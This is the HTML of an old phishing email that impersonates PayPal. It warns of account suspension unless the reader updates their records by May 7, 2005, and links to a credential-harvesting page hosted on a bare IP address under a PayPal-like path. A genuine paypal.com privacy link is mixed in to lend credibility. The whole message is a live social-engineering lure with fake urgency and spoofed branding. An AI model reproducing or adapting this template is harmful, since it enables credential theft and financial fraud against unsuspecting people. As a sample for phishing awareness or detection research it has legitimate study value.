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<P><FONT size=2><FONT face=Verdana>Dear valued <STRONG><STRONG><SPAN style="FONT-SIZE: 10pt; COLOR: black; FONT-FAMILY: Verdana">PayPal<SUP>®</SUP></SPAN></STRONG> </STRONG>member</FONT>: <BR></FONT><BR></P>
<P><FONT face=Verdana size=2>It has come to our attention that your <SPAN style="FONT-SIZE: 10pt; COLOR:
black; FONT-FAMILY: Verdana"><STRONG>PayPal<SUP>®</SUP></STRONG></SPAN>
account information needs to be <BR>updated as part of our continuing commitment to protect your
account and to <BR>reduce the instance of fraud on our website. </FONT><FONT face=Verdana
size=2><FONT face=Verdana size=2> If you could please take 5-10 minutes <BR>out of your </FONT><FONT face=Verdana
size=2>online </FONT><FONT face=Verdana size=2>experience and update your personal records you will not run
into <BR>any future </FONT><FONT face=Verdana size=2>problems with the online
service. <BR> </FONT></P>
<P><FONT face=Verdana size=2>However, failure to update your records will result in account suspension. <BR>Please update your records on or
before <FONT color=red><STRONG>May 7, 2005</STRONG>.</FONT> <BR><BR>Once you have updated your account
records, your <SPAN style="FONT-SIZE: 10pt; COLOR: black; FONT-FAMILY: Verdana"><STRONG>PayPal<SUP>®</SUP></STRONG></SPAN> session will not
be <BR>interrupted and will continue as normal. </FONT></P><P><FONT face=Verdana size=2><br><table><tr><td>To update your <SPAN style="FONT-SIZE: 10pt;
COLOR: black; FONT-FAMILY: Verdana"><STRONG>PayPal<SUP>®</SUP></STRONG></SPAN> records click on the following link: <BR></FONT>
</td><td><a href="http://200.67.220.155/update-paypal-account/cgi_bin/webscr_cmd=login-run/index.php">update</a>
</td></tr></table><FONT face=Verdana size=2></FONT> <br><br><FONT face=Verdana size=2>Thank You. <BR><SPAN style="FONT-SIZE:
10pt; COLOR: black; FONT-FAMILY: Verdana"><STRONG>PayPal<SUP>® </SUP><SPAN style="FONT-SIZE: 10pt; COLOR:
black; FONT-FAMILY: Verdana">UPDATE </SPAN></STRONG><SPAN style="FONT-SIZE: 10pt; COLOR: black; FONT-FAMILY:
Verdana"><STRONG>TEAM</STRONG></SPAN></SPAN> </P>
<P><FONT face=Verdana size=2>Accounts Management As outlined in our User
Agreement, <SPAN style="FONT-SIZE: 10pt; COLOR: black; FONT-FAMILY: Verdana"><STRONG>PayPal<SUP>®</SUP></STRONG></SPAN>
will <BR>periodically send you information about site changes and enhancements. </FONT></P>
<P><FONT face=Verdana size=2>Visit our Privacy Policy </FONT><FONT face=Verdana size=2>and User Agreement if you
have any questions. <BR></FONT><A href="http://www.paypal.com/cgi-bin/webscr?cmd=p/gen/ua/policy_privacy-outside"><FONT
face=Verdana size=2>http://www.paypal.com/cgi-bin/webscr?cmd=p/gen/ua/policy_privacy-outside</FONT></A></P><P> </P></FORM></FONT></FONT></BODY></HTML>